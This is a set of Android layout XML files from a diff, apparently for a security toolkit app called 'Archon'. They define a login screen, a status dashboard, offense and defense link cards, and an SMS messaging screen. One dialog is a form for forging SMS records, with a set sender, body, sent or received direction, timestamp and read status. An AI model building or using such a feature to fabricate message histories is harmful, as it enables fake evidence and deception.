app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintTop_toTopOf="@id/layout_port" />
<!-- Login button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="24dp"
android:text="LOGIN"
android:textSize="16sp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/layout_port" />
<!-- Status message -->
<TextView
android:id="@+id/login_status"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="16dp"
android:gravity="center"
android:textColor="@color/text_secondary"
android:textSize="13sp"
android:fontFamily="monospace"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/btn_login" />
<!-- Skip/offline button at bottom -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_login_skip"
style="@style/Widget.MaterialComponents.Button.TextButton"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="SKIP (OFFLINE MODE)"
android:textColor="@color/text_muted"
android:textSize="12sp"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background">
<androidx.fragment.app.FragmentContainerView
android:id="@+id/nav_host_fragment"
android:name="androidx.navigation.fragment.NavHostFragment"
android:layout_width="0dp"
android:layout_height="0dp"
app:defaultNavHost="true"
app:layout_constraintBottom_toTopOf="@id/bottom_nav"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:navGraph="@navigation/nav_graph" />
<com.google.android.material.bottomnavigation.BottomNavigationView
android:id="@+id/bottom_nav"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:background="@color/surface"
app:itemIconTint="@color/nav_item_color"
app:itemTextColor="@color/nav_item_color"
app:layout_constraintBottom_toBottomOf="parent"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:menu="@menu/bottom_nav" />
</androidx.constraintlayout.widget.ConstraintLayout>

View File

@@ -0,0 +1,203 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:background="@color/surface">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="20dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_dialog_title"
android:textColor="@color/terminal_green"
android:textSize="18sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Phone number -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_phone_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_address"
android:layout_width="match_parent"
android:layout_height="44dp"
android:hint="@string/forge_phone_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="phone"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true"
android:layout_marginBottom="12dp" />
<!-- Contact name (optional) -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_name_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_contact_name"
android:layout_width="match_parent"
android:layout_height="44dp"
android:hint="@string/forge_name_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textPersonName"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true"
android:layout_marginBottom="12dp" />
<!-- Message body -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_body_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/forge_body"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:hint="@string/forge_body_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_muted"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textMultiLine"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="8dp"
android:minLines="3"
android:maxLines="8"
android:layout_marginBottom="12dp" />
<!-- Direction toggle (Sent / Received) -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_direction_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="12dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_type_received"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_received"
android:textSize="12sp"
style="@style/Widget.Material3.Button"
android:tag="selected" />
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_type_sent"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_sent"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton" />
</LinearLayout>
<!-- Date / Time -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_date_label"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:layout_marginBottom="4dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="12dp">
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_pick_date"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_pick_date"
android:textSize="12sp"
style="@style/Widget.Material3.Button.TonalButton"
android:tag="now" />
<com.google.android.material.button.MaterialButton
android:id="@+id/forge_pick_time"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:text="@string/forge_pick_time"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button.TonalButton"
android:tag="now" />
</LinearLayout>
<!-- Read status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<android.widget.CheckBox
android:id="@+id/forge_read_status"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:checked="true" />
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/forge_mark_read"
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,225 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/dashboard_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="16dp" />
<!-- Server Discovery Section -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_discovery"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/discovery_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/discovery_status_text"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/discovery_idle"
android:textColor="@color/text_primary"
android:fontFamily="monospace"
android:textSize="14sp" />
</LinearLayout>
<TextView
android:id="@+id/discovery_method_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/discovery_methods"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="8dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_discover"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="@string/scan_network"
android:textColor="@color/background"
android:fontFamily="monospace"
app:backgroundTint="@color/terminal_green"
app:cornerRadius="4dp" />
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Connection Status -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Connection Status"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="12dp" />
<!-- Privilege -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/privilege_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/privilege_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Privilege: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- Server -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="8dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
<!-- WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<View
android:id="@+id/wg_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:background="@color/status_offline"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/wg_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/wg_checking"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="13sp" />
</LinearLayout>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
<!-- Output Log -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp">
<TextView
android:id="@+id/output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:minHeight="80dp"
android:padding="12dp"
android:text="@string/ready"
android:textColor="@color/terminal_green_dim"
android:fontFamily="monospace"
android:textSize="12sp"
android:scrollbars="vertical" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,284 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/links_title"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<TextView
android:id="@+id/server_url_label"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="@string/server_url_placeholder"
android:textColor="@color/text_secondary"
android:fontFamily="monospace"
android:textSize="12sp"
android:layout_marginBottom="16dp" />
<!-- Row 1: Dashboard, WireGuard -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_dashboard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_dashboard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireguard"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireguard"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 2: Shield, Hardware -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_shield"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_shield"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_hardware"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_hardware"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 3: Wireshark, OSINT -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_wireshark"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_wireshark"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_osint"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_osint"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 4: Defense, Offense -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:layout_marginBottom="8dp">
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_defense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginEnd="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_defense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_offense"
android:layout_width="0dp"
android:layout_height="100dp"
android:layout_weight="1"
android:layout_marginStart="4dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_offense"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
<!-- Row 5: Settings (single, full width) -->
<com.google.android.material.card.MaterialCardView
android:id="@+id/card_settings"
android:layout_width="match_parent"
android:layout_height="100dp"
android:layout_marginBottom="8dp"
android:clickable="true"
android:focusable="true"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp">
<TextView
android:layout_width="match_parent"
android:layout_height="match_parent"
android:gravity="center"
android:text="@string/link_settings"
android:textColor="@color/terminal_green"
android:textSize="14sp"
android:fontFamily="monospace" />
</com.google.android.material.card.MaterialCardView>
</LinearLayout>
</ScrollView>

View File

@@ -0,0 +1,340 @@
<?xml version="1.0" encoding="utf-8"?>
<FrameLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background">
<!-- ═══ Conversation List View ═══ -->
<LinearLayout
android:id="@+id/conversation_list_container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:visibility="visible">
<!-- Toolbar -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="@color/surface">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="@string/messaging_title"
android:textColor="@color/terminal_green"
android:textSize="22sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<!-- Shizuku status dot -->
<View
android:id="@+id/shizuku_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="12dp" />
<!-- Search button -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search"
android:layout_width="40dp"
android:layout_height="40dp"
android:text="?"
android:textSize="16sp"
android:textColor="@color/terminal_green"
android:insetTop="0dp"
android:insetBottom="0dp"
android:minWidth="40dp"
android:padding="0dp"
style="@style/Widget.Material3.Button.TextButton"
android:layout_marginEnd="4dp" />
<!-- Default SMS toggle -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_default_sms"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_become_default"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim"
android:layout_marginEnd="4dp" />
<!-- Tools menu -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_tools"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_tools"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Search bar (hidden by default) -->
<LinearLayout
android:id="@+id/search_bar"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:padding="8dp"
android:background="@color/surface_dark"
android:visibility="gone">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_search"
android:layout_width="0dp"
android:layout_height="40dp"
android:layout_weight="1"
android:hint="@string/messaging_search_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="text"
android:background="@color/surface"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:singleLine="true" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search_go"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="GO"
android:textSize="11sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_search_close"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="X"
android:textSize="11sp"
android:layout_marginStart="4dp"
style="@style/Widget.Material3.Button.TextButton" />
</LinearLayout>
<!-- Conversation RecyclerView -->
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/recycler_conversations"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:clipToPadding="false"
android:padding="4dp" />
<!-- Empty state -->
<TextView
android:id="@+id/empty_state"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:gravity="center"
android:text="@string/messaging_empty"
android:textColor="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:visibility="gone" />
<!-- FAB for new message -->
<com.google.android.material.floatingactionbutton.FloatingActionButton
android:id="@+id/fab_new_message"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="bottom|end"
android:layout_margin="16dp"
android:contentDescription="@string/messaging_new_message"
app:backgroundTint="@color/terminal_green"
app:tint="@color/background" />
</LinearLayout>
<!-- ═══ Message Thread View ═══ -->
<LinearLayout
android:id="@+id/thread_view_container"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:visibility="gone">
<!-- Thread header -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="12dp"
android:background="@color/surface">
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_back"
android:layout_width="40dp"
android:layout_height="40dp"
android:text="&lt;"
android:textSize="18sp"
android:textColor="@color/terminal_green"
android:insetTop="0dp"
android:insetBottom="0dp"
android:minWidth="40dp"
android:padding="0dp"
style="@style/Widget.Material3.Button.TextButton"
android:layout_marginEnd="8dp" />
<LinearLayout
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:orientation="vertical">
<TextView
android:id="@+id/thread_contact_name"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:singleLine="true" />
<TextView
android:id="@+id/thread_address"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:textColor="@color/text_secondary"
android:textSize="12sp"
android:fontFamily="monospace"
android:singleLine="true" />
</LinearLayout>
<!-- Thread tools -->
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_thread_export"
android:layout_width="wrap_content"
android:layout_height="36dp"
android:text="@string/messaging_export"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TonalButton"
app:backgroundTint="@color/terminal_green_dim" />
</LinearLayout>
<!-- Messages RecyclerView -->
<androidx.recyclerview.widget.RecyclerView
android:id="@+id/recycler_messages"
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1"
android:clipToPadding="false"
android:padding="8dp" />
<!-- Message input bar -->
<LinearLayout
android:id="@+id/message_input_bar"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:padding="8dp"
android:background="@color/surface">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_message"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:hint="@string/messaging_input_hint"
android:textColor="@color/text_primary"
android:textColorHint="@color/text_secondary"
android:textSize="14sp"
android:fontFamily="monospace"
android:inputType="textMultiLine"
android:background="@color/surface_dark"
android:paddingStart="12dp"
android:paddingEnd="12dp"
android:paddingTop="8dp"
android:paddingBottom="8dp"
android:maxLines="4"
android:minHeight="40dp" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_send"
android:layout_width="wrap_content"
android:layout_height="40dp"
android:text="@string/messaging_send"
android:textSize="12sp"
android:layout_marginStart="8dp"
style="@style/Widget.Material3.Button"
app:backgroundTint="@color/terminal_green" />
</LinearLayout>
</LinearLayout>
<!-- ═══ Output Log (bottom overlay, hidden by default) ═══ -->
<com.google.android.material.card.MaterialCardView
android:id="@+id/output_log_card"
android:layout_width="match_parent"
android:layout_height="200dp"
android:layout_gravity="bottom"
android:layout_margin="8dp"
app:cardBackgroundColor="@color/surface_dark"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green_dim"
app:strokeWidth="1dp"
android:visibility="gone">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="match_parent"
android:orientation="vertical"
android:padding="8dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical">
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Output:"
android:textColor="@color/terminal_green_dim"
android:textSize="12sp"
android:fontFamily="monospace" />
<com.google.android.material.button.MaterialButton
android:id="@+id/btn_close_log"
android:layout_width="wrap_content"
android:layout_height="30dp"
android:text="X"
android:textSize="10sp"
style="@style/Widget.Material3.Button.TextButton" />
</LinearLayout>
<ScrollView
android:layout_width="match_parent"
android:layout_height="0dp"
android:layout_weight="1">
<TextView
android:id="@+id/messaging_output_log"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:text="> ready_"
android:textColor="@color/terminal_green"
android:textSize="11sp"
android:fontFamily="monospace"
android:lineSpacingExtra="2dp" />
</ScrollView>
</LinearLayout>
</com.google.android.material.card.MaterialCardView>
</FrameLayout>

View File

@@ -0,0 +1,655 @@
<?xml version="1.0" encoding="utf-8"?>
<ScrollView
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="16dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical">
<!-- Header -->
<TextView
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON MODULES"
android:textColor="@color/terminal_green"
android:textSize="24sp"
android:textStyle="bold"
android:fontFamily="monospace"
android:layout_marginBottom="8dp" />
<!-- Server Status -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="16dp">
<View
android:id="@+id/server_status_dot"
android:layout_width="12dp"
android:layout_height="12dp"
android:layout_marginEnd="8dp" />
<TextView
android:id="@+id/server_status_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="Server: checking..."
android:textColor="@color/text_primary"
android:textSize="14sp"
android:fontFamily="monospace" />
</LinearLayout>
<!-- ═══ Archon Server Card ═══ -->
<com.google.android.material.card.MaterialCardView
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:layout_marginBottom="12dp"
app:cardBackgroundColor="@color/surface"
app:cardCornerRadius="8dp"
app:strokeColor="@color/terminal_green"
app:strokeWidth="1dp">
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="vertical"
android:padding="16dp">
<!-- Title row -->
<LinearLayout
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:orientation="horizontal"
android:gravity="center_vertical"
android:layout_marginBottom="4dp">
<View
android:id="@+id/archon_status_dot"
android:layout_width="10dp"
android:layout_height="10dp"
android:layout_marginEnd="8dp" />
<TextView
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_weight="1"
android:text="Archon Server"
android:textColor="@color/terminal_green"
android:textSize="16sp"
android:textStyle="bold"
android:fontFamily="monospace" />
<TextView
android:id="@+id/archon_uid_text"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="UID 2000"
